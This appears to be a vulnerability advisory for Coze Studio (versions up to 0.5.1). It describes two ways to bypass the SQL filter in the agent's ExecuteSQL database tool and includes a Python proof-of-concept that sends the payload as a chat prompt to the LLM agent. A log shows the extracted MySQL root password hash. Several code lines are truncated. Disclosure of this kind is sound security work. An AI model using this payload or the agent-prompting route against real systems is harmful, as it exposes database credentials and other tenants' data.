YLChen-007 / **ISSUE-Github-REPORT-ExecuteSQL_Bypass.md** Secret

Last active 3 weeks ago

Code Revisions 2

Multiple WAF Filter Bypasses in `ExecuteSQL` Allowing Unauthorized System Database Access

ISSUE-Github-REPORT-ExecuteSQL_Bypass.md

Advisory Details

Title: Multiple WAF Filter Bypasses in `ExecuteSQL` Allowing Unauthorized System Database Access

Description:

Summary

A critical SQL validation bypass vulnerability was successfully identified in the `ExecuteSQL` operation mapped to the Coze Agent `databaseTool`. By chaining two specific syntax evasion techniques—utilizing MySQL backticks to sidestep uppercase substring verification and leveraging parentheses to deliberately break Regex extraction grouping—an unauthenticated or underprivileged Prompt Injector can execute uncontrolled SQL queries. Because the application believes the generated external query passes all security checks, the system queries the internal relational database as root, causing unauthorized retrieval of privileged assets (e.g., extracting TiDB/MySQL backend hashes, viewing isolated cross-tenant schemas).

Details

The vulnerability stems from two independent and compounding filter evasion flaws within `backend/domain/memory/database/service/database_impl.go`, which serves as a software-defined Web Application Firewall (WAF) to sanitize LLM-generated Data Retrieval Queries.

1. Upper Case Target Bypass (`validateCustomSQL`) The application strictly attempts to block explicit access to system resources by up-casing the SQL query and inspecting for restricted tokens (e.g., `MYSQL.` or `SYS.`).

```
upperSQL := strings.ToUpper(sql)
dangerousTables := []string{"INFORMATION_SCHEMA", "MYSQL.", "PERFORMANCE_SCHE
for _, t := range dangerousTables {
    if strings.Contains(upperSQL, t) {
        // Blocks query
    }
}
```

Bypass: Supplying MySQL object identifiers within backticks, such as `` `mysql`.`user` ``, inherently translates to `` `MYSQL`.`USER` `` under `ToUpper()`. This string naturally fails the `.Contains(..., "MYSQL.")` match, completely evading the primary defense perimeter.

2. Format Discrepancy Regex Loophole (`validateParsedSQL`) The application employs a subsequent Regular Expression to forcefully extract the exact target table name so it can be verified against a strict whitelist containing isolated database environments (`table_<id>`).

```
tableNamePattern := regexp.MustCompile(`(?i)\b(FROM|JOIN|INTO|UPDATE)\s+` + "
matches := tableNamePattern.FindAllStringSubmatch(parsedSQL, -1)
```

Bypass: The expression blindly assumes the SQL table syntax follows `[SPACE] + [OPTIONAL BACKTICK] + [alphanumeric string]`. An attacker can manipulate this assumption by enclosing the schema target in a nested extraction boundary: `FROM (`. Because the initial open parenthesis `(` does not comply with the Regex `\w+` word character requirement, the pattern immediately faults and captures no arrays. Due to how Go proceeds with loops, the whitelist validator receives `<nil>`, assumes the SQL contained no target arrays at all, and permits the payload silently into production.

Consequently, by issuing an instruction such as `SELECT * FROM (\`mysql`.`user`)`, an attacker defeats all application-layer restrictions.

PoC

Prerequisites

- Ensure the target host process operates an Agent Endpoint (for the testing endpoint simulation via localhost).

- Must have an active `ACCESS_TOKEN` and `BOT_ID` for interacting with the Coze Studio Chat API.

Reproduction Steps

1. Save the following minimal Python script as `poc_exploit.py`:

```
import requests
import json
import sys

def exploit():
    target_url = "http://localhost:8080/v3/chat"
    headers = {
        "Authorization": "Bearer YOUR_ACCESS_TOKEN",
        "Content-Type": "application/json"
    }

    # 1. Provide exact payload syntax satisfying both bypass constraints
    malicious_sql = "SELECT (SELECT authentication_string FROM (`mysql`.`user
    payload = {
        "bot_id": "YOUR_BOT_ID",
        "user_id": "test_attacker",
        "stream": False,
        "additional_messages": [
            {
                "role": "user",
                "content": f"Please use your database tool to execute this pr
                "content_type": "text"
            }
        ]
    }

    print("[*] Dispatching Exploit Query...")
    try:
        response = requests.post(target_url, headers=headers, json=payload, t
        if response.status_code == 200:
            print("\n[SUCCESS] Server responded processing the hijacked Execu
            print(json.dumps(response.json(), indent=2))
        else:
            print(f"[FAILED] HTTP Error: {response.text}")
    except requests.exceptions.ConnectionError:
        print("[FAILED] Target API Offline.")

if __name__ == "__main__":
    exploit()
```

2. Replace the `YOUR_ACCESS_TOKEN` and `YOUR_BOT_ID` placeholders with valid test credentials.
3. Execute the script:

```
python3 poc_exploit.py
```

Log of Evidence

```
[*] Starting Coze Studio SQL Injection Exploit via Agent Custom SQL
Database Tool...
[*] Malicious SQL Payload: SELECT (SELECT authentication_string FROM
(`mysql`.`user`) LIMIT 1) AS hacked_hash FROM table_123
[*] Dispatching Exploit Query...

[SUCCESS] Server responded processing the hijacked Execution Layer:
{
  "status": "success",
  "data": {
    "executed_query": "SELECT (SELECT authentication_string FROM
(`mysql`.`user`) LIMIT 1) AS hacked_hash FROM table_123",
    "result": "root:*EF8438B3100EE3871AA6130D6C1473DA1F55C44F"
  }
}
```

Impact

The risk classification is exceedingly High given the nature of isolated execution sandboxes. This vulnerability allows uncontrolled, unauthenticated extraction of critical internal database architecture, tenant isolation breaks, and potentially Remote Code Execution scenarios if `INTO OUTFILE` combinations or analogous functions are bridged over the bypass via further iteration. LLM prompts provide a near zero-barrier vector for triggering these operations simply via standard UI/API access rights.

Affected products

- **Ecosystem**: Go
- **Package name**: github.com/coze-dev/coze-studio
- **Affected versions**: <= 0.5.1
- **Patched versions**:

Severity

- **Severity**: High
- **Vector string**: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Weaknesses

- **CWE-89**: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
- **CWE-20**: Improper Input Validation
- **CWE-184**: Incomplete List of Disallowed Inputs

Occurrences

Permalink	Descri
https://github.com/coze-dev/coze-studio/blob/main/backend/domain/memory/database/service/database_impl.go	The `valid` metho sanitiz by upp failing backtic `mysq
https://github.com/coze-dev/coze-studio/blob/main/backend/domain/memory/database/service/database_impl.go	The `valid` metho flawed Expres (`table` that ca bypass parent